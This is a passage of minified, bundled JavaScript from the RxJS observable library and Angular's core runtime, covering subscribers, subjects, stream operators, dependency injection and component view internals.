0,e)}(t),this):(this.isStopped=!0,this._error(t))}complete(){this.isStopped?jl(TC,this):(this.isStopped=!0,this._complete())}unsubscribe(){this.closed||(this.isStopped=!0,super.unsubscribe(),this.destination=null)}_next(t){this.destination.next(t)}_error(t){try{this.destination.error(t)}finally{this.unsubscribe()}}_complete(){try{this.destination.complete()}finally{this.unsubscribe()}}}const PC=Function.prototype.bind;function Ll(e,t){return PC.call(e,t)}class RC{constructor(t){this.partialObserver=t}next(t){const{partialObserver:n}=this;if(n.next)try{n.next(t)}catch(r){ns(r)}}error(t){const{partialObserver:n}=this;if(n.error)try{n.error(t)}catch(r){ns(r)}else ns(t)}complete(){const{partialObserver:t}=this;if(t.complete)try{t.complete()}catch(n){ns(n)}}}class Ao extends kl{constructor(t,n,r){let o;if(super(),ye(t)||!t)o={next:t??void 0,error:n??void 0,complete:r??void 0};else{let i;this&&Un.useDeprecatedNextContext?(i=Object.create(t),i.unsubscribe=()=>this.unsubscribe(),o={next:t.next&&Ll(t.next,i),error:t.error&&Ll(t.error,i),complete:t.complete&&Ll(t.complete,i)}):o=t}this.destination=new RC(o)}}function ns(e){Un.useDeprecatedSynchronousErrorHandling?function AC(e){Un.useDeprecatedSynchronousErrorHandling&&zn&&(zn.errorThrown=!0,zn.error=e)}(e):Oh(e)}function jl(e,t){const{onStoppedNotification:n}=Un;n&&es.setTimeout(()=>n(e,t))}const xC={closed:!0,next:xh,error:function OC(e){throw e},complete:xh},Vl="function"==typeof Symbol&&Symbol.observable||"@@observable";function rs(e){return e}let Fe=(()=>{class e{constructor(n){n&&(this._subscribe=n)}lift(n){const r=new e;return r.source=this,r.operator=n,r}subscribe(n,r,o){const i=function kC(e){return e&&e instanceof kl||function FC(e){return e&&ye(e.next)&&ye(e.error)&&ye(e.complete)}(e)&&Ph(e)}(n)?n:new Ao(n,r,o);return ts(()=>{const{operator:s,source:a}=this;i.add(s?s.call(i,a):a?this._subscribe(i):this._trySubscribe(i))}),i}_trySubscribe(n){try{return this._subscribe(n)}catch(r){n.error(r)}}forEach(n,r){return new(r=kh(r))((o,i)=>{const s=new Ao({next:a=>{try{n(a)}catch(l){i(l),s.unsubscribe()}},error:i,complete:o});this.subscribe(s)})}_subscribe(n){var r;return null===(r=this.source)||void 0===r?void 0:r.subscribe(n)}[Vl](){return this}pipe(...n){return function Fh(e){return 0===e.length?rs:1===e.length?e[0]:function(n){return e.reduce((r,o)=>o(r),n)}}(n)(this)}toPromise(n){return new(n=kh(n))((r,o)=>{let i;this.subscribe(s=>i=s,s=>o(s),()=>r(i))})}}return e.create=t=>new e(t),e})();function kh(e){var t;return null!==(t=e??Un.Promise)&&void 0!==t?t:Promise}const LC=Nh(e=>function(){e(this),this.name="ObjectUnsubscribedError",this.message="object unsubscribed"});let Po=(()=>{class e extends Fe{constructor(){super(),this.closed=!1,this.currentObservers=null,this.observers=[],this.isStopped=!1,this.hasError=!1,this.thrownError=null}lift(n){const r=new Lh(this,this);return r.operator=n,r}_throwIfClosed(){if(this.closed)throw new LC}next(n){ts(()=>{if(this._throwIfClosed(),!this.isStopped){this.currentObservers||(this.currentObservers=Array.from(this.observers));for(const r of this.currentObservers)r.next(n)}})}error(n){ts(()=>{if(this._throwIfClosed(),!this.isStopped){this.hasError=this.isStopped=!0,this.thrownError=n;const{observers:r}=this;for(;r.length;)r.shift().error(n)}})}complete(){ts(()=>{if(this._throwIfClosed(),!this.isStopped){this.isStopped=!0;const{observers:n}=this;for(;n.length;)n.shift().complete()}})}unsubscribe(){this.isStopped=this.closed=!0,this.observers=this.currentObservers=null}get observed(){var n;return(null===(n=this.observers)||void 0===n?void 0:n.length)>0}_trySubscribe(n){return this._throwIfClosed(),super._trySubscribe(n)}_subscribe(n){return this._throwIfClosed(),this._checkFinalizedStatuses(n),this._innerSubscribe(n)}_innerSubscribe(n){const{hasError:r,isStopped:o,observers:i}=this;return r||o?Ah:(this.currentObservers=null,i.push(n),new Ft(()=>{this.currentObservers=null,xl(i,n)}))}_checkFinalizedStatuses(n){const{hasError:r,thrownError:o,isStopped:i}=this;r?n.error(o):i&&n.complete()}asObservable(){const n=new Fe;return n.source=this,n}}return e.create=(t,n)=>new Lh(t,n),e})();class Lh extends Po{constructor(t,n){super(),this.destination=t,this.source=n}next(t){var n,r;null===(r=null===(n=this.destination)||void 0===n?void 0:n.next)||void 0===r||r.call(n,t)}error(t){var n,r;null===(r=null===(n=this.destination)||void 0===n?void 0:n.error)||void 0===r||r.call(n,t)}complete(){var t,n;null===(n=null===(t=this.destination)||void 0===t?void 0:t.complete)||void 0===n||n.call(t)}_subscribe(t){var n,r;return null!==(r=null===(n=this.source)||void 0===n?void 0:n.subscribe(t))&&void 0!==r?r:Ah}}function wt(e){return t=>{if(function jC(e){return ye(e?.lift)}(t))return t.lift(function(n){try{return e(n,this)}catch(r){this.error(r)}});throw new TypeError("Unable to lift unknown Observable type")}}function kt(e,t,n,r,o){return new VC(e,t,n,r,o)}class VC extends kl{constructor(t,n,r,o,i,s){super(t),this.onFinalize=i,this.shouldUnsubscribe=s,this._next=n?function(a){try{n(a)}catch(l){t.error(l)}}:super._next,this._error=o?function(a){try{o(a)}catch(l){t.error(l)}finally{this.unsubscribe()}}:super._error,this._complete=r?function(){try{r()}catch(a){t.error(a)}finally{this.unsubscribe()}}:super._complete}unsubscribe(){var t;if(!this.shouldUnsubscribe||this.shouldUnsubscribe()){const{closed:n}=this;super.unsubscribe(),!n&&(null===(t=this.onFinalize)||void 0===t||t.call(this))}}}function Lt(e,t){return wt((n,r)=>{let o=0;n.subscribe(kt(r,i=>{r.next(e.call(t,i,o++))}))})}function En(e){return this instanceof En?(this.v=e,this):new En(e)}function Hh(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var n,t=e[Symbol.asyncIterator];return t?t.call(e):(e=function Ul(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}(e),n={},r("next"),r("throw"),r("return"),n[Symbol.asyncIterator]=function(){return this},n);function r(i){n[i]=e[i]&&function(s){return new Promise(function(a,l){!function o(i,s,a,l){Promise.resolve(l).then(function(c){i({value:c,done:a})},s)}(a,l,(s=e[i](s)).done,s.value)})}}}"function"==typeof SuppressedError&&SuppressedError;const $h=e=>e&&"number"==typeof e.length&&"function"!=typeof e;function Uh(e){return ye(e?.then)}function zh(e){return ye(e[Vl])}function Gh(e){return Symbol.asyncIterator&&ye(e?.[Symbol.asyncIterator])}function qh(e){return new TypeError(`You provided ${null!==e&&"object"==typeof e?"an invalid object":`'${e}'`} where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.`)}const Wh=function aI(){return"function"==typeof Symbol&&Symbol.iterator?Symbol.iterator:"@@iterator"}();function Kh(e){return ye(e?.[Wh])}function Qh(e){return function Bh(e,t,n){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var o,r=n.apply(e,t||[]),i=[];return o={},s("next"),s("throw"),s("return"),o[Symbol.asyncIterator]=function(){return this},o;function s(f){r[f]&&(o[f]=function(h){return new Promise(function(p,g){i.push([f,h,p,g])>1||a(f,h)})})}function a(f,h){try{!function l(f){f.value instanceof En?Promise.resolve(f.value.v).then(c,u):d(i[0][2],f)}(r[f](h))}catch(p){d(i[0][3],p)}}function c(f){a("next",f)}function u(f){a("throw",f)}function d(f,h){f(h),i.shift(),i.length&&a(i[0][0],i[0][1])}}(this,arguments,function*(){const n=e.getReader();try{for(;;){const{value:r,done:o}=yield En(n.read());if(o)return yield En(void 0);yield yield En(r)}}finally{n.releaseLock()}})}function Zh(e){return ye(e?.getReader)}function jt(e){if(e instanceof Fe)return e;if(null!=e){if(zh(e))return function lI(e){return new Fe(t=>{const n=e[Vl]();if(ye(n.subscribe))return n.subscribe(t);throw new TypeError("Provided object does not correctly implement Symbol.observable")})}(e);if($h(e))return function cI(e){return new Fe(t=>{for(let n=0;n<e.length&&!t.closed;n++)t.next(e[n]);t.complete()})}(e);if(Uh(e))return function uI(e){return new Fe(t=>{e.then(n=>{t.closed||(t.next(n),t.complete())},n=>t.error(n)).then(null,Oh)})}(e);if(Gh(e))return Yh(e);if(Kh(e))return function dI(e){return new Fe(t=>{for(const n of e)if(t.next(n),t.closed)return;t.complete()})}(e);if(Zh(e))return function fI(e){return Yh(Qh(e))}(e)}throw qh(e)}function Yh(e){return new Fe(t=>{(function hI(e,t){var n,r,o,i;return function jh(e,t,n,r){return new(n||(n=Promise))(function(i,s){function a(u){try{c(r.next(u))}catch(d){s(d)}}function l(u){try{c(r.throw(u))}catch(d){s(d)}}function c(u){u.done?i(u.value):function o(i){return i instanceof n?i:new n(function(s){s(i)})}(u.value).then(a,l)}c((r=r.apply(e,t||[])).next())})}(this,void 0,void 0,function*(){try{for(n=Hh(e);!(r=yield n.next()).done;)if(t.next(r.value),t.closed)return}catch(s){o={error:s}}finally{try{r&&!r.done&&(i=n.return)&&(yield i.call(n))}finally{if(o)throw o.error}}t.complete()})})(e,t).catch(n=>t.error(n))})}function _n(e,t,n,r=0,o=!1){const i=t.schedule(function(){n(),o?e.add(this.schedule(null,r)):this.unsubscribe()},r);if(e.add(i),!o)return i}function os(e,t,n=1/0){return ye(t)?os((r,o)=>Lt((i,s)=>t(r,i,o,s))(jt(e(r,o))),n):("number"==typeof t&&(n=t),wt((r,o)=>function pI(e,t,n,r,o,i,s,a){const l=[];let c=0,u=0,d=!1;const f=()=>{d&&!l.length&&!c&&t.complete()},h=g=>c<r?p(g):l.push(g),p=g=>{i&&t.next(g),c++;let m=!1;jt(n(g,u++)).subscribe(kt(t,D=>{o?.(D),i?h(D):t.next(D)},()=>{m=!0},void 0,()=>{if(m)try{for(c--;l.length&&c<r;){const D=l.shift();s?_n(t,s,()=>p(D)):p(D)}f()}catch(D){t.error(D)}}))};return e.subscribe(kt(t,h,()=>{d=!0,f()})),()=>{a?.()}}(r,o,e,n)))}const Xh=new Fe(e=>e.complete());function zl(e){return e[e.length-1]}function Jh(e){return function yI(e){return e&&ye(e.schedule)}(zl(e))?e.pop():void 0}function ep(e,t=0){return wt((n,r)=>{n.subscribe(kt(r,o=>_n(r,e,()=>r.next(o),t),()=>_n(r,e,()=>r.complete(),t),o=>_n(r,e,()=>r.error(o),t)))})}function tp(e,t=0){return wt((n,r)=>{r.add(e.schedule(()=>n.subscribe(r),t))})}function np(e,t){if(!e)throw new Error("Iterable cannot be null");return new Fe(n=>{_n(n,t,()=>{const r=e[Symbol.asyncIterator]();_n(n,t,()=>{r.next().then(o=>{o.done?n.complete():n.next(o.value)})},0,!0)})})}function Gl(e,t){return t?function II(e,t){if(null!=e){if(zh(e))return function DI(e,t){return jt(e).pipe(tp(t),ep(t))}(e,t);if($h(e))return function _I(e,t){return new Fe(n=>{let r=0;return t.schedule(function(){r===e.length?n.complete():(n.next(e[r++]),n.closed||this.schedule())})})}(e,t);if(Uh(e))return function EI(e,t){return jt(e).pipe(tp(t),ep(t))}(e,t);if(Gh(e))return np(e,t);if(Kh(e))return function wI(e,t){return new Fe(n=>{let r;return _n(n,t,()=>{r=e[Wh](),_n(n,t,()=>{let o,i;try{({value:o,done:i}=r.next())}catch(s){return void n.error(s)}i?n.complete():n.next(o)},0,!0)}),()=>ye(r?.return)&&r.return()})}(e,t);if(Zh(e))return function CI(e,t){return np(Qh(e),t)}(e,t)}throw qh(e)}(e,t):jt(e)}function rp(...e){const t=Jh(e),n=function vI(e,t){return"number"==typeof zl(e)?e.pop():t}(e,1/0),r=e;return r.length?1===r.length?jt(r[0]):function gI(e=1/0){return os(rs,e)}(n)(Gl(r,t)):Xh}class bI extends Po{constructor(t){super(),this._value=t}get value(){return this.getValue()}_subscribe(t){const n=super._subscribe(t);return!n.closed&&t.next(this._value),n}getValue(){const{hasError:t,thrownError:n,_value:r}=this;if(t)throw n;return this._throwIfClosed(),r}next(t){super.next(this._value=t)}}function pt(...e){return Gl(e,Jh(e))}function op(e={}){const{connector:t=(()=>new Po),resetOnError:n=!0,resetOnComplete:r=!0,resetOnRefCountZero:o=!0}=e;return i=>{let s,a,l,c=0,u=!1,d=!1;const f=()=>{a?.unsubscribe(),a=void 0},h=()=>{f(),s=l=void 0,u=d=!1},p=()=>{const g=s;h(),g?.unsubscribe()};return wt((g,m)=>{c++,!d&&!u&&f();const D=l=l??t();m.add(()=>{c--,0===c&&!d&&!u&&(a=ql(p,o))}),D.subscribe(m),!s&&c>0&&(s=new Ao({next:y=>D.next(y),error:y=>{d=!0,f(),a=ql(h,n,y),D.error(y)},complete:()=>{u=!0,f(),a=ql(h,r),D.complete()}}),jt(g).subscribe(s))})(i)}}function ql(e,t,...n){if(!0===t)return void e();if(!1===t)return;const r=new Ao({next:()=>{r.unsubscribe(),e()}});return jt(t(...n)).subscribe(r)}function Wl(e,t){return wt((n,r)=>{let o=null,i=0,s=!1;const a=()=>s&&!o&&r.complete();n.subscribe(kt(r,l=>{o?.unsubscribe();let c=0;const u=i++;jt(e(l,u)).subscribe(o=kt(r,d=>r.next(t?t(l,d,u,c++):d),()=>{o=null,a()}))},()=>{s=!0,a()}))})}function TI(e,t){return e===t}function Z(e){for(let t in e)if(e[t]===Z)return t;throw Error("Could not find renamed property on target object.")}function _e(e){if("string"==typeof e)return e;if(Array.isArray(e))return"["+e.map(_e).join(", ")+"]";if(null==e)return""+e;if(e.overriddenName)return`${e.overriddenName}`;if(e.name)return`${e.name}`;const t=e.toString();if(null==t)return""+t;const n=t.indexOf("\n");return-1===n?t:t.substring(0,n)}function Kl(e,t){return null==e||""===e?null===t?"":t:null==t||""===t?e:e+" "+t}const MI=Z({__forward_ref__:Z});function Ql(e){return e.__forward_ref__=Ql,e.toString=function(){return _e(this())},e}function N(e){return function ss(e){return"function"==typeof e&&e.hasOwnProperty(MI)&&e.__forward_ref__===Ql}(e)?e():e}function Zl(e){return e&&!!e.\u0275providers}const ip="https://g.co/ng/security#xss";class E extends Error{constructor(t,n){super(function _r(e,t){return`NG0${Math.abs(e)}${t?": "+t:""}`}(t,n)),this.code=t}}const Ro=Z({\u0275cmp:Z}),Yl=Z({\u0275dir:Z}),Xl=Z({\u0275pipe:Z}),sp=Z({\u0275mod:Z}),nn=Z({\u0275fac:Z}),Oo=Z({__NG_ELEMENT_ID__:Z}),ap=Z({__NG_ENV_ID__:Z});function F(e){return"string"==typeof e?e:null==e?"":String(e)}function Jl(e,t){throw new E(-201,!1)}function Ze(e,t){null==e&&function A(e,t,n,r){throw new Error(`ASSERTION ERROR: ${e}`+(null==r?"":` [Expected=> ${n} ${r} ${t} <=Actual]`))}(t,e,null,"!=")}function V(e){return{token:e.token,providedIn:e.providedIn||null,factory:e.factory,value:void 0}}function Cn(e){return{providers:e.providers||[],imports:e.imports||[]}}function as(e){return lp(e,cs)||lp(e,cp)}function lp(e,t){return e.hasOwnProperty(t)?e[t]:null}function ls(e){return e&&(e.hasOwnProperty(ec)||e.hasOwnProperty(kI))?e[ec]:null}const cs=Z({\u0275prov:Z}),ec=Z({\u0275inj:Z}),cp=Z({ngInjectableDef:Z}),kI=Z({ngInjectorDef:Z});var U=function(e){return e[e.Default=0]="Default",e[e.Host=1]="Host",e[e.Self=2]="Self",e[e.SkipSelf=4]="SkipSelf",e[e.Optional=8]="Optional",e}(U||{});let tc;function Ye(e){const t=tc;return tc=e,t}function dp(e,t,n){const r=as(e);return r&&"root"==r.providedIn?void 0===r.value?r.value=r.factory():r.value:n&U.Optional?null:void 0!==t?t:void Jl(_e(e))}const re=globalThis;class b{constructor(t,n){this._desc=t,this.ngMetadataName="InjectionToken",this.\u0275prov=void 0,"number"==typeof n?this.__NG_ELEMENT_ID__=n:void 0!==n&&(this.\u0275prov=V({token:this,providedIn:n.providedIn||"root",factory:n.factory}))}get multi(){return this}toString(){return`InjectionToken ${this._desc}`}}const xo={},sc="__NG_DI_FLAG__",us="ngTempTokenPath",VI=/\n/gm,hp="__source";let wr;function In(e){const t=wr;return wr=e,t}function $I(e,t=U.Default){if(void 0===wr)throw new E(-203,!1);return null===wr?dp(e,void 0,t):wr.get(e,t&U.Optional?null:void 0,t)}function M(e,t=U.Default){return(function up(){return tc}()||$I)(N(e),t)}function B(e,t=U.Default){return M(e,ds(t))}function ds(e){return typeof e>"u"||"number"==typeof e?e:0|(e.optional&&8)|(e.host&&1)|(e.self&&2)|(e.skipSelf&&4)}function ac(e){const t=[];for(let n=0;n<e.length;n++){const r=N(e[n]);if(Array.isArray(r)){if(0===r.length)throw new E(900,!1);let o,i=U.Default;for(let s=0;s<r.length;s++){const a=r[s],l=UI(a);"number"==typeof l?-1===l?o=a.token:i|=l:o=a}t.push(M(o,i))}else t.push(M(r))}return t}function Fo(e,t){return e[sc]=t,e.prototype[sc]=t,e}function UI(e){return e[sc]}function rn(e){return{toString:e}.toString()}var fs=function(e){return e[e.OnPush=0]="OnPush",e[e.Default=1]="Default",e}(fs||{}),Ct=function(e){return e[e.Emulated=0]="Emulated",e[e.None=2]="None",e[e.ShadowDom=3]="ShadowDom",e}(Ct||{});const Vt={},q=[];function gp(e,t,n){let r=e.length;for(;;){const o=e.indexOf(t,n);if(-1===o)return o;if(0===o||e.charCodeAt(o-1)<=32){const i=t.length;if(o+i===r||e.charCodeAt(o+i)<=32)return o}n=o+1}}function lc(e,t,n){let r=0;for(;r<n.length;){const o=n[r];if("number"==typeof o){if(0!==o)break;r++;const i=n[r++],s=n[r++],a=n[r++];e.setAttribute(t,s,a,i)}else{const i=o,s=n[++r];yp(i)?e.setProperty(t,i,s):e.setAttribute(t,i,s),r++}}return r}function mp(e){return 3===e||4===e||6===e}function yp(e){return 64===e.charCodeAt(0)}function ko(e,t){if(null!==t&&0!==t.length)if(null===e||0===e.length)e=t.slice();else{let n=-1;for(let r=0;r<t.length;r++){const o=t[r];"number"==typeof o?n=o:0===n||vp(e,n,o,null,-1===n||2===n?t[++r]:null)}}return e}function vp(e,t,n,r,o){let i=0,s=e.length;if(-1===t)s=-1;else for(;i<e.length;){const a=e[i++];if("number"==typeof a){if(a===t){s=-1;break}if(a>t){s=i-1;break}}}for(;i<e.length;){const a=e[i];if("number"==typeof a)break;if(a===n){if(null===r)return void(null!==o&&(e[i+1]=o));if(r===e[i+1])return void(e[i+2]=o)}i++,null!==r&&i++,null!==o&&i++}-1!==s&&(e.splice(s,0,t),i=s+1),e.splice(i++,0,n),null!==r&&e.splice(i++,0,r),null!==o&&e.splice(i++,0,o)}const Dp="ng-template";function qI(e,t,n){let r=0,o=!0;for(;r<e.length;){let i=e[r++];if("string"==typeof i&&o){const s=e[r++];if(n&&"class"===i&&-1!==gp(s.toLowerCase(),t,0))return!0}else{if(1===i){for(;r<e.length&&"string"==typeof(i=e[r++]);)if(i.toLowerCase()===t)return!0;return!1}"number"==typeof i&&(o=!1)}}return!1}function Ep(e){return 4===e.type&&e.value!==Dp}function WI(e,t,n){return t===(4!==e.type||n?e.value:Dp)}function KI(e,t,n){let r=4;const o=e.attrs||[],i=function YI(e){for(let t=0;t<e.length;t++)if(mp(e[t]))return t;return e.length}(o);let s=!1;for(let a=0;a<t.length;a++){const l=t[a];if("number"!=typeof l){if(!s)if(4&r){if(r=2|1&r,""!==l&&!WI(e,l,n)||""===l&&1===t.length){if(It(r))return!1;s=!0}}else{const c=8&r?l:t[++a];if(8&r&&null!==e.attrs){if(!qI(e.attrs,c,n)){if(It(r))return!1;s=!0}continue}const d=QI(8&r?"class":l,o,Ep(e),n);if(-1===d){if(It(r))return!1;s=!0;continue}if(""!==c){let f;f=d>i?"":o[d+1].toLowerCase();const h=8&r?f:null;if(h&&-1!==gp(h,c,0)||2&r&&c!==f){if(It(r))return!1;s=!0}}}}else{if(!s&&!It(r)&&!It(l))return!1;if(s&&It(l))continue;s=!1,r=l|1&r}}return It(r)||s}function It(e){return 0==(1&e)}function QI(e,t,n,r){if(null===t)return-1;let o=0;if(r||!n){let i=!1;for(;o<t.length;){const s=t[o];if(s===e)return o;if(3===s||6===s)i=!0;else{if(1===s||2===s){let a=t[++o];for(;"string"==typeof a;)a=t[++o];continue}if(4===s)break;if(0===s){o+=4;continue}}o+=i?1:2}return-1}return function XI(e,t){let n=e.indexOf(4);if(n>-1)for(n++;n<e.length;){const r=e[n];if("number"==typeof r)return-1;if(r===t)return n;n++}return-1}(t,e)}function _p(e,t,n=!1){for(let r=0;r<t.length;r++)if(KI(e,t[r],n))return!0;return!1}function wp(e,t){return e?":not("+t.trim()+")":t}function eb(e){let t=e[0],n=1,r=2,o="",i=!1;for(;n<e.length;){let s=e[n];if("string"==typeof s)if(2&r){const a=e[++n];o+="["+s+(a.length>0?'="'+a+'"':"")+"]"}else 8&r?o+="."+s:4&r&&(o+=" "+s);else""!==o&&!It(s)&&(t+=wp(i,o),o=""),r=s,i=i||!It(r);n++}return""!==o&&(t+=wp(i,o)),t}function cc(e){return rn(()=>{const t=Ip(e),n={...t,decls:e.decls,vars:e.vars,template:e.template,consts:e.consts||null,ngContentSelectors:e.ngContentSelectors,onPush:e.changeDetection===fs.OnPush,directiveDefs:null,pipeDefs:null,dependencies:t.standalone&&e.dependencies||null,getStandaloneInjector:null,signals:e.signals??!1,data:e.data||{},encapsulation:e.encapsulation||Ct.Emulated,styles:e.styles||q,_:null,schemas:e.schemas||null,tView:null,id:""};bp(n);const r=e.dependencies;return n.directiveDefs=hs(r,!1),n.pipeDefs=hs(r,!0),n.id=function sb(e){let t=0;const n=[e.selectors,e.ngContentSelectors,e.hostVars,e.hostAttrs,e.consts,e.vars,e.decls,e.encapsulation,e.standalone,e.signals,e.exportAs,JSON.stringify(e.inputs),JSON.stringify(e.outputs),Object.getOwnPropertyNames(e.type.prototype),!!e.contentQueries,!!e.viewQuery].join("|");for(const o of n)t=Math.imul(31,t)+o.charCodeAt(0)<<0;return t+=2147483648,"c"+t}(n),n})}function rb(e){return H(e)||be(e)}function ob(e){return null!==e}function Gn(e){return rn(()=>({type:e.type,bootstrap:e.bootstrap||q,declarations:e.declarations||q,imports:e.imports||q,exports:e.exports||q,transitiveCompileScopes:null,schemas:e.schemas||null,id:e.id||null}))}function Cp(e,t){if(null==e)return Vt;const n={};for(const r in e)if(e.hasOwnProperty(r)){let o=e[r],i=o;Array.isArray(o)&&(i=o[1],o=o[0]),n[o]=r,t&&(t[o]=i)}return n}function gt(e){return rn(()=>{const t=Ip(e);return bp(t),t})}function H(e){return e[Ro]||null}function be(e){return e[Yl]||null}function Re(e){return e[Xl]||null}function Ip(e){const t={};return{type:e.type,providersResolver:null,factory:null,hostBindings:e.hostBindings||null,hostVars:e.hostVars||0,hostAttrs:e.hostAttrs||null,contentQueries:e.contentQueries||null,declaredInputs:t,inputTransforms:null,inputConfig:e.inputs||Vt,exportAs:e.exportAs||null,standalone:!0===e.standalone,signals:!0===e.signals,selectors:e.selectors||q,viewQuery:e.viewQuery||null,features:e.features||null,setInput:null,findHostDirectiveDefs:null,hostDirectives:null,inputs:Cp(e.inputs,t),outputs:Cp(e.outputs),debugInfo:null}}function bp(e){e.features?.forEach(t=>t(e))}function hs(e,t){if(!e)return null;const n=t?Re:rb;return()=>("function"==typeof e?e():e).map(r=>n(r)).filter(ob)}const fe=0,w=1,S=2,le=3,bt=4,Le=5,Bt=6,Cr=7,J=8,$e=9,Ir=10,k=11,Lo=12,Sp=13,br=14,ce=15,jo=16,Sr=17,Ht=18,Vo=19,Tp=20,bn=21,ps=22,Wn=23,O=25,uc=1,$t=7,Tr=9,ve=10;var Mr=function(e){return e[e.None=0]="None",e[e.HasTransplantedViews=2]="HasTransplantedViews",e[e.HasChildViewsToRefresh=4]="HasChildViewsToRefresh",e}(Mr||{});function Oe(e){return Array.isArray(e)&&"object"==typeof e[uc]}function Ae(e){return Array.isArray(e)&&!0===e[uc]}function dc(e){return 0!=(4&e.flags)}function Kn(e){return e.componentOffset>-1}function ms(e){return 1==(1&e.flags)}function St(e){return!!e.template}function fc(e){return 0!=(512&e[S])}function Qn(e,t){return e.hasOwnProperty(nn)?e[nn]:null}class Pp{constructor(t,n,r){this.previousValue=t,this.currentValue=n,this.firstChange=r}isFirstChange(){return this.firstChange}}function Rp(e){return e.type.prototype.ngOnChanges&&(e.setInput=db),ub}function ub(){const e=xp(this),t=e?.current;if(t){const n=e.previous;if(n===Vt)e.previous=t;else for(let r in t)n[r]=t[r];e.current=null,this.ngOnChanges(t)}}function db(e,t,n,r){const o=this.declaredInputs[n],i=xp(e)||function fb(e,t){return e[Op]=t}(e,{previous:Vt,current:null}),s=i.current||(i.current={}),a=i.previous,l=a[o];s[o]=new Pp(l&&l.currentValue,t,a===Vt),e[r]=t}const Op="__ngSimpleChanges__";function xp(e){return e[Op]||null}const Ut=function(e,t,n){};function oe(e){for(;Array.isArray(e);)e=e[fe];return e}function Ho(e,t){return oe(t[e])}function Ue(e,t){return oe(t[e.index])}function $o(e,t){return e.data[t]}function ot(e,t){const n=t[e];return Oe(n)?n:n[fe]}function yc(e){return 128==(128&e[S])}function zt(e,t){return null==t?null:e[t]}function Lp(e){e[Sr]=0}function yb(e){1024&e[S]||(e[S]|=1024,yc(e)&&vs(e))}function Vp(e){9216&e[S]&&vs(e)}function vs(e){let t=e[le];for(;null!==t&&!(Ae(t)&&t[S]&Mr.HasChildViewsToRefresh||Oe(t)&&8192&t[S]);){if(Ae(t))t[S]|=Mr.HasChildViewsToRefresh;else if(t[S]|=8192,!yc(t))break;t=t[le]}}const x={lFrame:Qp(null),bindingsEnabled:!0,skipHydrationRootTNode:null};function Hp(){return x.bindingsEnabled}function v(){return x.lFrame.lView}function z(){return x.lFrame.tView}function Es(e){return x.lFrame.contextLView=e,e[J]}function _s(e){return x.lFrame.contextLView=null,e}function Y(){let e=$p();for(;null!==e&&64===e.type;)e=e.parent;return e}function $p(){return x.lFrame.currentTNode}function Gt(e,t){const n=x.lFrame;n.currentTNode=e,n.isParent=t}function Dc(){return x.lFrame.isParent}function qt(){return x.lFrame.bindingIndex++}function sn(e){const t=x.lFrame,n=t.bindingIndex;return t.bindingIndex=t.bindingIndex+e,n}function Mb(e,t){const n=x.lFrame;n.bindingIndex=n.bindingRootIndex=e,_c(t)}function _c(e){x.lFrame.currentDirectiveIndex=e}function Cc(e){x.lFrame.currentQueryIndex=e}function Ab(e){const t=e[w];return 2===t.type?t.declTNode:1===t.type?e[Le]:null}function Wp(e,t,n){if(n&U.SkipSelf){let o=t,i=e;for(;!(o=o.parent,null!==o||n&U.Host||(o=Ab(i),null===o||(i=i[br],10&o.type))););if(null===o)return!1;t=o,e=i}const r=x.lFrame=Kp();return r.currentTNode=t,r.lView=e,!0}function Ic(e){const t=Kp(),n=e[w];x.lFrame=t,t.currentTNode=n.firstChild,t.lView=e,t.tView=n,t.contextLView=e,t.bindingIndex=n.bindingStartIndex,t.inI18n=!1}function Kp(){const e=x.lFrame,t=null===e?null:e.child;return null===t?Qp(e):t}function Qp(e){const t={currentTNode:null,isParent:!0,lView:null,tView:null,selectedIndex:-1,contextLView:null,elementDepthCount:0,currentNamespace:null,currentDirectiveIndex:-1,bindingRootIndex:-1,bindingIndex:-1,currentQueryIndex:0,parent:e,child:null,inI18n:!1};return null!==e&&(e.child=t),t}function Zp(){const e=x.lFrame;return x.lFrame=e.parent,e.currentTNode=null,e.lView=null,e}const Yp=Zp;function bc(){const e=Zp();e.isParent=!0,e.tView=null,e.selectedIndex=-1,e.contextLView=null,e.elementDepthCount=0,e.currentDirectiveIndex=-1,e.currentNamespace=null,e.bindingRootIndex=-1,e.bindingIndex=-1,e.currentQueryIndex=0}function Ge(){return x.lFrame.selectedIndex}function Zn(e){x.lFrame.selectedIndex=e}function ae(){const e=x.lFrame;return $o(e.tView,e.selectedIndex)}let Jp=!0;function ws(){return Jp}function Sn(e){Jp=e}function Cs(e,t){for(let n=t.directiveStart,r=t.directiveEnd;n<r;n++){const i=e.data[n].type.prototype,{ngAfterContentInit:s,ngAfterContentChecked:a,ngAfterViewInit:l,ngAfterViewChecked:c,ngOnDestroy:u}=i;s&&(e.contentHooks??=[]).push(-n,s),a&&((e.contentHooks??=[]).push(n,a),(e.contentCheckHooks??=[]).push(n,a)),l&&(e.viewHooks??=[]).push(-n,l),c&&((e.viewHooks??=[]).push(n,c),(e.viewCheckHooks??=[]).push(n,c)),null!=u&&(e.destroyHooks??=[]).push(n,u)}}function Is(e,t,n){eg(e,t,3,n)}function bs(e,t,n,r){(3&e[S])===n&&eg(e,t,n,r)}function Sc(e,t){let n=e[S];(3&n)===t&&(n&=16383,n+=1,e[S]=n)}function eg(e,t,n,r){const i=r??-1,s=t.length-1;let a=0;for(let l=void 0!==r?65535&e[Sr]:0;l<s;l++)if("number"==typeof t[l+1]){if(a=t[l],null!=r&&a>=r)break}else t[l]<0&&(e[Sr]+=65536),(a<i||-1==i)&&(Lb(e,n,t,l),e[Sr]=(4294901760&e[Sr])+l+2),l++}function tg(e,t){Ut(4,e,t);const n=de(null);try{t.call(e)}finally{de(n),Ut(5,e,t)}}function Lb(e,t,n,r){const o=n[r]<0,i=n[r+1],a=e[o?-n[r]:n[r]];o?e[S]>>14<e[Sr]>>16&&(3&e[S])===t&&(e[S]+=16384,tg(a,i)):tg(a,i)}const Pr=-1;class zo{constructor(t,n,r){this.factory=t,this.resolving=!1,this.canSeeViewProviders=n,this.injectImpl=r}}function Mc(e){return e!==Pr}function Go(e){return 32767&e}function qo(e,t){let n=function $b(e){return e>>16}(e),r=t;for(;n>0;)r=r[br],n--;return r}let Nc=!0;function Ss(e){const t=Nc;return Nc=e,t}const 